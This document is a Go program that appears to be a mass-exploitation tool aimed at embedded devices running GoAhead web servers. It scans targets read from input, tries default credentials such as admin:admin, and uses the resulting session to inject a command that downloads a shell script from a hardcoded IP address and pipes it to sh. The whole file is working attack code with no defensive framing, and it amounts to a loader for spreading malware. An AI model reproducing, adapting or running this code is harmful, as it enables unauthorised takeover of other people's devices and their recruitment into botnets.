package main

import (
	"bufio"
	"crypto/tls"
	"encoding/base64"
	"errors"
	"fmt"
	"io/ioutil"
	"net"
	"os"
	"strings"
	"sync"
	"time"
)

var (
	StatusAttempts = 0
	StatusFound    = 0
	StatusLogins   = 0
	StatusExecuted = 0

	ConnectTimeout = 30 * time.Second
	ReadTimeout    = 15 * time.Second
	WriteTimeout   = 10 * time.Second

	conf = &tls.Config{
		InsecureSkipVerify: true,
		MinVersion:         tls.VersionTLS10,
	}

	dialer = &net.Dialer{Timeout: ConnectTimeout}

	SyncGroup sync.WaitGroup

	HttpBanner = "Server: GoAhead-Webs"

	Payload = "wget+http://185.132.53.243/penis.sh+-O-+|+sh"

	Combos = []string{
		"useradmin:admin",
		"admin:admin",
		"user:user",
	}

	Mode = os.Args[2]
)

type Device struct {
	Session string
}

func CloseConn(conn net.Conn) {
	err := conn.Close()
	if err != nil {
		return
	}
}

func CheckTarget(target string) error {
	var conn net.Conn
	var err error

	if Mode == "https" {
		conn, err = tls.DialWithDialer(dialer, "tcp", target, conf)
		if err != nil {
			return err
		}
	} else {
		conn, err = net.DialTimeout("tcp", target, ConnectTimeout)
		if err != nil {
			return err
		}
	}

	defer CloseConn(conn)

	conn.SetWriteDeadline(time.Now().Add(WriteTimeout))
	conn.SetReadDeadline(time.Now().Add(ReadTimeout))

	conn.Write([]byte("GET /index.asp HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Hello World/1.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\n\r\n"))

	response, err := ioutil.ReadAll(conn)
	if err != nil {
		return err
	}

	if strings.Contains(string(response), HttpBanner) {
		return nil
	}

	return errors.New("invalid http banner")
}

func (device *Device) ExecutePayload(target string) error {
	var conn net.Conn
	var err error

	if Mode == "https" {
		conn, err = tls.DialWithDialer(dialer, "tcp", target, conf)
		if err != nil {
			return err
		}
	} else {
		conn, err = net.DialTimeout("tcp", target, ConnectTimeout)
		if err != nil {
			return err
		}
	}

	defer CloseConn(conn)

	conn.SetWriteDeadline(time.Now().Add(WriteTimeout))
	conn.SetReadDeadline(time.Now().Add(ReadTimeout))

	body := fmt.Sprintf("$(%s)", Payload)

	request := fmt.Sprintf("GET /goform/execute_script?sys_list="+Payload+" HTTP/1.1\r\n"+
		"Host: "+target+"\r\n"+
		"Content-Length: %d\r\n"+
		"Cookie: ASPSSIONID=%s\r\n"+
		"User-Agent: Hello World/1.0\r\n\r\n"+
		"%s",
		len(body),
		device.Session,
		body,
	)

	conn.Write([]byte(request))

	return nil
}

func ProcessLogin(target, user, pass string) (*Device, error) {
	var conn net.Conn
	var err error

	if Mode == "https" {
		conn, err = tls.DialWithDialer(dialer, "tcp", target, conf)
		if err != nil {
			return nil, err
		}
	} else {
		conn, err = net.DialTimeout("tcp", target, ConnectTimeout)
		if err != nil {
			return nil, err
		}
	}

	body := fmt.Sprintf("user_name=" + user + "&password=" + pass)

	request := fmt.Sprintf("POST /goform/websLogin HTTP/1.1\r\n"+
		"Host: "+target+"\r\n"+
		"Content-Length: %d\r\n"+
		"User-Agent: Hello World/1.0\r\n\r\n"+
		"%s",
		len(body),
		body,
	)

	conn.Write([]byte(request))

	response, err := ioutil.ReadAll(conn)
	if err != nil {
		return nil, err
	}

	var session = ""
	for _, s := range strings.Split(string(response), "\n") {
		if !strings.Contains(s, "Set-Cookie:") {
			continue
		}

		if strings.Contains(s, "HttpOnly") {
			continue
		}

		ye := strings.Split(s, "=")
		if len(ye) < 1 {
			continue
		}

		session = ye[1]
		session = strings.ReplaceAll(session, ";path=/", "")
	}

	if len(session) < 1 {
		return nil, errors.New("no cookie :(")
	}

	return &Device{Session: strings.ReplaceAll(session, ";path", "")}, nil
}

func Process(target string) {
	StatusAttempts++

	/* Check Target */

	err := CheckTarget(target)
	if err != nil {
		//fmt.Println(err)
		return
	}

	StatusFound++

	var device *Device

	for _, combo := range Combos {
		yes := strings.Split(combo, ":")
		device, err = ProcessLogin(target, yes[0], yes[1])
		if device == nil || err != nil {
			continue
		}

		StatusLogins++
		fmt.Printf("[%s] Signed in: %s:%s (%s)\r\n", target, yes[0], yes[1], device.Session)
		break
	}

	if device == nil {
		return
	}

	err = device.ExecutePayload(target)
	if err != nil {
		//		fmt.Println(err)
		return
	}

	StatusExecuted++

	return

}

func main() {
	if len(os.Args) != 3 {
		fmt.Printf("Missing arguments. Usage: %s <port/listen> <http/https>\r\n", os.Args[0])
		return
	}

	go func() {
		currentTime := time.Now()
		for {
			fmt.Printf("%.0fs | Attempted: %d | Devices Found: %d | Logins: %d | Executed: %d\r\n", time.Since(currentTime).Seconds(), StatusAttempts, StatusFound, StatusLogins, StatusExecuted)
			time.Sleep(1 * time.Second)
		}
	}()

	for {
		r := bufio.NewReader(os.Stdin)
		scan := bufio.NewScanner(r)

		for scan.Scan() {
			if os.Args[1] == "listen" {
				go Process(scan.Text())
			} else {
				go Process(scan.Text() + ":" + os.Args[1])
			}
			SyncGroup.Add(1)
		}
	}
}

func EncodeBase64(input []byte) []byte {
	return []byte(base64.StdEncoding.EncodeToString(input))
}

func DecodeBase64(input []byte) ([]byte, error) {
	return base64.StdEncoding.DecodeString(string(input))
}
